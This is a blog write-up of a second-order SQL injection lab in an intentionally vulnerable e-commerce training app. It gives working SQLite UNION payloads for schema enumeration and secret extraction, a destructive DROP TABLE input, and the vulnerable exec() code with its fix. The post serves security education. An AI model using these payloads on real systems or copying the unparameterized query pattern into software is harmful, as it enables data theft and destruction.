DEV Community

Cover image for Prisma Keeps You Safe Until You Reach for exec() — A SQLi Story.
Oopssec Store
Oopssec Store

Posted on Originally published at koadt.github.io on AI-assisted

Prisma Keeps You Safe Until You Reach for exec() — A SQLi Story.

#security #webdev #node #typescript

How a crafted display name stored through a product review becomes a SQL injection payload when an admin filters reviews on the moderation panel.

This writeup walks through a second-order SQL injection in OopsSec Store's review moderation feature. The twist compared to a classic SQL injection: the payload doesn't execute when it's submitted. It sits harmlessly in the database until the application feeds it into a different, unparameterized query.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start
Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store
Enter fullscreen mode Exit fullscreen mode

The app runs at http://localhost:3000.

Target identification

The application lets users submit product reviews with a customizable "Display name" field. Instead of defaulting to their email address, users pick how their name shows up on reviews.

Page Product - Reviews

The admin panel has a "Review Moderation" section at /admin/reviews where admins can view and filter all reviews by author. The filter is a dropdown populated with distinct author names from the database.

Admin interface

Understanding second-order injection

In a classic (first-order) SQL injection, the payload executes at the point of input. In a second-order attack, the malicious input is stored safely first and only executes later when the application reuses it in a different, unsafe context.

The developer mistake: assuming that data from your own database is trustworthy and doesn't need parameterization.

Exploitation

Step 1: Store the payload

Log in with any account (e.g., alice@example.com / iloveduck), open any product page and submit a review. The "Display name" field is the sink: whatever goes in there is stored verbatim and rebuilt into a raw query later. Start with a probe that closes the author filter and merges a second result set:

x' UNION SELECT 1, 2, 3, 4, 5, 6 --
Enter fullscreen mode Exit fullscreen mode

Write anything in the review body and submit. Nothing happens yet — the review is stored through Prisma, parameterized, and the payload is just a string sitting in a column.

Exploit

Step 2: Gain admin access

To access the admin panel, you need admin privileges. You can get there through other vulnerabilities in the lab (Mass Assignment, JWT forgery, SQL Injection with Weak MD5, etc).

Step 3: Trigger the injection

Navigate to /admin/reviews. The moderation panel lists every review and offers a "Filter by author" dropdown, populated with the distinct author names in the database — yours included.

Select it. If the column count is wrong, the panel says so, which is how you find out the query returns six of them:

{
  "error": "SELECTs to the left and right of UNION do not have the same number of result columns"
}
Enter fullscreen mode Exit fullscreen mode

Each correction means posting a new review with the adjusted display name — the payload only ever arrives through storage.

The six-column probe lands, and the injected row shows up in the table

The panel is also happy to run several statements at once, because the filter goes through better-sqlite3's exec(). A display name like '; DROP TABLE reviews; -- really does wipe the reviews table, so, if you want to try, keep that one for after you have the flag.

To recover, run npm run db:push && npm run db:seed: db:push recreates the missing table, and the seed needs it back before it can read it. Your captured flags survive both steps; the three demo orders go back to their seeded state.

Step 4: Enumerate the schema

Store a display name that reads SQLite's own catalogue:

x' UNION SELECT 1, 2, group_concat(name), 4, 5, 6 FROM sqlite_master WHERE type='table' --
Enter fullscreen mode Exit fullscreen mode

Filter by it, and the third column of the injected row lists every table:

users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence
Enter fullscreen mode Exit fullscreen mode

flags is walled off — naming it returns 403, and any OSS{…} value is stripped from the response before it leaves the server. internal_secrets is not.

Its slugs are readable the same way, so there is nothing to guess. Store one more display name:

x' UNION SELECT 1, 2, group_concat(slug), 4, 5, 6 FROM internal_secrets --
Enter fullscreen mode Exit fullscreen mode 
product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection
Enter fullscreen mode Exit fullscreen mode

One row per injection challenge, each named after the challenge it belongs to.

Step 5: Read the canary

This panel only looks for its own token. Post one last review under this display name:

x' UNION SELECT 1, 2, token, 4, 5, 6 FROM internal_secrets WHERE slug='second-order-sql-injection' --
Enter fullscreen mode Exit fullscreen mode

Filter by it on the moderation panel:

{
  "reviews": [
    {
      "id": 1,
      "productId": 2,
      "content": "CANARY-SECOND-ORDER-SQL-INJECTION-9dcc7a53b1ba",
      "author": 4
    }
  ],
  "flag": "OSS{s3c0nd_0rd3r_sql_1nj3ct10n}",
  "message": "Internal secret exfiltrated through a stored review author! Well done!"
}
Enter fullscreen mode Exit fullscreen mode

Flag

The token is generated when the lab is seeded, so it differs on every instance: returning it proves the stored name was executed as SQL.

Dropping the WHERE works just as well: all four rows come back and the panel finds its own token among them. The filter keeps the response readable, it is not a requirement.

Vulnerable code analysis

The vulnerability is in the admin reviews API endpoint at /api/admin/reviews:

// Reviews are stored safely via Prisma ORM (parameterized)
const review = await prisma.review.create({
  data: { productId: id, content, author }, // Safe
});

// But later reused unsafely via raw SQLite driver with multi-statement support
const db = new Database(getDbPath());
const query = `
  SELECT r.id, r.content, r.author, ...
  FROM reviews r
  WHERE r.author = '${authorFilter}'   // VULNERABLE
`;
db.exec(query); // exec() runs ALL statements, including DROP TABLE
Enter fullscreen mode Exit fullscreen mode

The developer trusted the author value because it came from the application's own database dropdown, not directly from user input. Using exec() instead of prepare() makes it worse: exec() allows multi-statement execution, so a DROP TABLE slipped into the query string will actually run.

Remediation

Replace the raw SQL query with Prisma's parameterized query builder:

// SECURE - Use Prisma's built-in parameterization
const reviews = await prisma.review.findMany({
  where: { author: authorFilter },
  include: { product: { select: { name: true } } },
  orderBy: { createdAt: "desc" },
});
Enter fullscreen mode Exit fullscreen mode

The root issue is treating database-sourced data as safe. It isn't. Parameterize every query regardless of where the data comes from. For filter dropdowns like this one, an allowlist of valid values is even better since the set of authors is known ahead of time.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

OWASP VWAD TryHackMe room Intentionally Vulnerable
GitHub license PRs Welcome Good first issues
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx
…
Enter fullscreen mode Exit fullscreen mode
View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Top comments (0)